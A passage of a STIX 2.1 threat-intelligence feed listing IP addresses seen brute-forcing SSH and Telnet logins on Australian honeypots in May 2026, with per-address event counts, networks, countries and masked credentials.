      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: RS. ASN(s): 31042. Organisation(s): Yettel d.o.o..",
      "id": "indicator--d70255d2-0417-4598-a285-840f5b6985b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.2.118.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:15:11.000Z",
      "valid_until": "2026-06-30T20:15:08.000Z"
    },
    {
      "created": "2026-05-29T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AL. ASN(s): 211356. Organisation(s): MyTv-Alb SH.P.K.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--f5aca36b-3f10-4289-87c4-529ec8aa4451",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.163.187.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:15:11.000Z",
      "valid_until": "2026-06-30T20:15:08.000Z"
    },
    {
      "created": "2026-05-29T20:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 1378. Organisation(s): Interbel Telephone Cooperative, Inc..",
      "id": "indicator--42ac34d5-2fbc-4c0c-add6-a4e16a2e04e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.252.170.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:15:11.000Z",
      "valid_until": "2026-06-30T20:15:08.000Z"
    },
    {
      "created": "2026-05-29T20:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, 3**********4, a***n, c***o, d***s. Passwords observed (masked): 1****6, 1****1, 3***********4, 3**********4, R*********..",
      "id": "indicator--067bd8ee-ed50-46c9-946c-a34c3e380127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T20:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.158.120.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T20:15:11.000Z",
      "valid_until": "2026-06-30T20:15:08.000Z"
    },
    {
      "created": "2026-05-29T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 328847. Organisation(s): KoTDA. Usernames observed (masked): r**t, 3**********4, ***, o*****a, l*****n. Passwords observed (masked): 1**4, 3***********4, 3**********4, !******x, 1***5.",
      "id": "indicator--6b18c3d5-7b88-4185-adbb-67d00f9f094b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.210.149.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T21:15:11.000Z",
      "valid_until": "2026-06-30T21:15:08.000Z"
    },
    {
      "created": "2026-05-29T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, ***, o*****a, l*****n. Passwords observed (masked): 1**4, 3***********4, 3**********4, !******x, 1***5.",
      "id": "indicator--11e7930d-a5b9-4a99-b8c5-6b1a1990954a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T21:15:11.000Z",
      "valid_until": "2026-06-30T21:15:08.000Z"
    },
    {
      "created": "2026-05-29T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--c20f3ec1-942f-42d3-8e92-c76d6ed449fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T21:15:11.000Z",
      "valid_until": "2026-06-30T21:15:08.000Z"
    },
    {
      "created": "2026-05-29T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, ***, o*****a, l*****n. Passwords observed (masked): 1**4, 3***********4, 3**********4, !******x, 1***5.",
      "id": "indicator--fa48d875-9a58-4cff-8239-7a1959b3765d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.187.153.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T21:15:11.000Z",
      "valid_until": "2026-06-30T21:15:08.000Z"
    },
    {
      "created": "2026-05-29T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--fea23222-7449-4314-9dc8-b339683fa8a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.23.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T21:15:11.000Z",
      "valid_until": "2026-06-30T21:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, d****l, d****e, ***. Passwords observed (masked): *, 1****6, 3***********4, 3****9, 3**********4.",
      "id": "indicator--e3f6b35d-0da5-46f8-a7e3-7a93ca209fcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.47.156.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 133800. Organisation(s): PT Biznet Gio Nusantara. Usernames observed (masked): r**t, f*****r, u****u, 3**********4, **. Passwords observed (masked): ***, 1*******d, 1****6, 1*******!, 1******r.",
      "id": "indicator--55fd752f-e0ba-4ff3-b5c5-3084bab81f33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.93.160.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3c2656b5-15a2-4939-8e90-1a214af6f306",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.55.253.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): r**t. Passwords observed (masked): K**********3.",
      "id": "indicator--9514a909-c0be-4671-acb7-f0db7439a184",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.163.132.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 180. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, 3**********4, **, a*******r, a***t. Passwords observed (masked): 3***********4, 3**********4, !******r, ***, 1**4.",
      "id": "indicator--d030e01a-8585-4d63-b4c3-125b6fdff8fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.31.164.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, b*****a.",
      "id": "indicator--fb44fe46-2cc1-4670-8b0a-175b66233d37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.21.53.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, 3**********4, a*****a, a*******r, c****e. Passwords observed (masked): 3**********4, *, ***, 1******8, 5******N.",
      "id": "indicator--22629d47-4ee1-444b-a3f7-61273ff94c1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.29.214.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, ***, ***, ***, ***. Passwords observed (masked): ***, ***, ***, ***, ***.",
      "id": "indicator--469b71d2-c00a-4af7-a29e-3c5f915e5b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.245.161.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--9c2acdde-925e-4cd9-bfc2-a30515d4073b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.211.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): r**t, u***1, 3**********4, p********s, u****u. Passwords observed (masked): 3***********4, 3**********4, A********3, Q*******z, a***n.",
      "id": "indicator--35467b4e-3a44-4d9e-bdc8-07c40d340b33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.116.220.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 181. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, **, a*******r, a***t. Passwords observed (masked): 3***********4, 3**********4, !******r, ***, 1**4.",
      "id": "indicator--c48b0196-19ce-4bcc-a5bb-355a089ceda6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.253.37.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--5e89ca11-b5e9-4419-9e29-9a3855863ab0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.72.111.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 75. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): a*****w, 3**********4, e***n. Passwords observed (masked): 3***********4, 3**********4, a*****w, e******3.",
      "id": "indicator--298b6a77-5554-4d37-a3f6-43e023337b8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.72.129.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--264e94d6-c1ac-4eda-af81-4e7a97c80156",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.41.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fedbd0d6-6b4a-4fee-81e0-60f18837bf95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.23.233.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): r**t, u**r, u******t, 3**********4, *. Passwords observed (masked): 1**4, 1**************$, 3***********4, 3**********4, 6******&.",
      "id": "indicator--31e5e9dd-d96a-433c-9363-f76fd3fd8267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.3.96.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 51559. Organisation(s): Netinternet Bilisim Teknolojileri AS. Usernames observed (masked): r**t, 3**********4, a*****a, a*******r, c****e. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1******8.",
      "id": "indicator--78ad732f-b898-4ac2-af4f-97aa1fb02e56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.252.131.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T22:15:11.000Z",
      "valid_until": "2026-06-30T22:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14956. Organisation(s): RouterHosting LLC. Usernames observed (masked): r**t, 3**********4, a*****e, t******r, u****2. Passwords observed (masked): *, *, 1****6, 1******., 1******a.",
      "id": "indicator--346f4f11-7f73-49f4-b713-f89870d695ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.189.23.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 13188. Organisation(s): Content Delivery Network Ltd.",
      "id": "indicator--816765b9-ea5d-45ce-9e96-8519723599cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.87.9.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): r**t. Passwords observed (masked): t***o.",
      "id": "indicator--68fd6af7-3e02-40e5-9e42-63a0448e8c85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.163.132.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): ***. Passwords observed (masked): 1****6.",
      "id": "indicator--ac3de328-67c1-4a89-ae42-bb8c381e94a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.127.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 373. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 212645. Organisation(s): Globalsat Dooel. Usernames observed (masked): r**t, 3**********4, a***n, ***, t******r. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****3.",
      "id": "indicator--bbc5e312-87a8-48b1-a232-80c7bd3b50bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.193.240.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 371. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 23106. Organisation(s): AMERICAN TOWER DO BRASIL-COMUNICACAO MULTIMIDIA LT. Usernames observed (masked): r**t, 3**********4, a***n, ***, t******r. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1****3.",
      "id": "indicator--d9229eb4-1fd3-4efa-9810-8f8a5d7e1328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.248.159.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, l******o, 3**********4, a*****e, r****l. Passwords observed (masked): *, 1****6, 3***********4, 3**********4, 8****6.",
      "id": "indicator--07ac6dba-1093-4d2b-a2d4-f9bc0dc40c24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.145.143.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T23:15:14.000Z",
      "valid_until": "2026-06-30T23:15:08.000Z"
    },
    {
      "created": "2026-05-29T23:15:14.000Z",
